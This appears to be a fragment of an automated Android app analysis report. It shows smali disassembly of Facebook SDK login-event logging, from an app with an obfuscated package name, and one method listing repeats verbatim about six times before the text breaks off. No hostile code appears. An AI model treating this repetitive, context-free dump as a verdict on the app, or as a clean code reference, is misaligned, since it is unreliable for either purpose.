                                            258invoke-static {p0, v0}, Limprove/harbor/eager/c;->b(Landroid/content/Context;Ljava/lang/String;)V
                                            260invoke-direct {p0}, Limprove/harbor/eager/Permissions;->e()V
                                            261goto/16 :goto_f5
                                            APIs
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.put
                                            • android.text.TextUtils.join
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • login_behavior
                                            • request_code
                                            • permissions
                                            • ,
                                            • default_audience
                                            • isReauthorize
                                            • facebookVersion
                                            • 6_extras
                                            • fb_mobile_login_start
                                            Position Instruction Meta Information
                                            1invoke-virtual {p1}, Lcom/facebook/login/LoginClient$Request;->e()Ljava/lang/String;
                                            2move-result-object v0
                                            4invoke-static {v0}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            5move-result-object v0
                                            6try_start_8: new-instance v1, Lorg/json/JSONObject;
                                            8invoke-direct {v1}, Lorg/json/JSONObject;-><init>()V
                                            10const-string v2, "login_behavior"
                                            12invoke-virtual {p1}, Lcom/facebook/login/LoginClient$Request;->b()Lcom/facebook/login/LoginBehavior;
                                            13move-result-object v3
                                            15invoke-virtual {v3}, Lcom/facebook/login/LoginBehavior;->toString()Ljava/lang/String;
                                            16move-result-object v3
                                            18invoke-virtual {v1, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            20const-string v2, "request_code"
                                            22invoke-static {}, Lcom/facebook/login/LoginClient;->d()I
                                            23move-result v3
                                            25invoke-virtual {v1, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                                            27const-string v2, "permissions"
                                            29const-string v3, ","
                                            31invoke-virtual {p1}, Lcom/facebook/login/LoginClient$Request;->a()Ljava/util/Set;
                                            32move-result-object v4
                                            34invoke-static {v3, v4}, Landroid/text/TextUtils;->join(Ljava/lang/CharSequence;Ljava/lang/Iterable;)Ljava/lang/String;
                                            35move-result-object v3
                                            37invoke-virtual {v1, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            39const-string v2, "default_audience"
                                            41invoke-virtual {p1}, Lcom/facebook/login/LoginClient$Request;->c()Lcom/facebook/login/DefaultAudience;
                                            42move-result-object v3
                                            44invoke-virtual {v3}, Lcom/facebook/login/DefaultAudience;->toString()Ljava/lang/String;
                                            45move-result-object v3
                                            47invoke-virtual {v1, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            49const-string v2, "isReauthorize"
                                            51invoke-virtual {p1}, Lcom/facebook/login/LoginClient$Request;->f()Z
                                            52move-result p1
                                            54invoke-virtual {v1, v2, p1}, Lorg/json/JSONObject;->put(Ljava/lang/String;Z)Lorg/json/JSONObject;
                                            56iget-object p1, p0, Lcom/facebook/login/c;->c:Ljava/lang/String;
                                            57if-eqz p1, :cond_53
                                            59const-string p1, "facebookVersion"
                                            61iget-object v2, p0, Lcom/facebook/login/c;->c:Ljava/lang/String;
                                            63invoke-virtual {v1, p1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            64cond_53:
                                            65const-string p1, "6_extras"
                                            67invoke-virtual {v1}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            68move-result-object v1
                                            70invoke-virtual {v0, p1, v1}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            71catch_5c:
                                            72iget-object p1, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            73const/4 v1, 0x0
                                            75const-string v2, "fb_mobile_login_start"
                                            77invoke-virtual {p1, v2, v1, v0}, Lcom/facebook/appevents/g;->a(Ljava/lang/String;Ljava/lang/Double;Landroid/os/Bundle;)V
                                            78return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
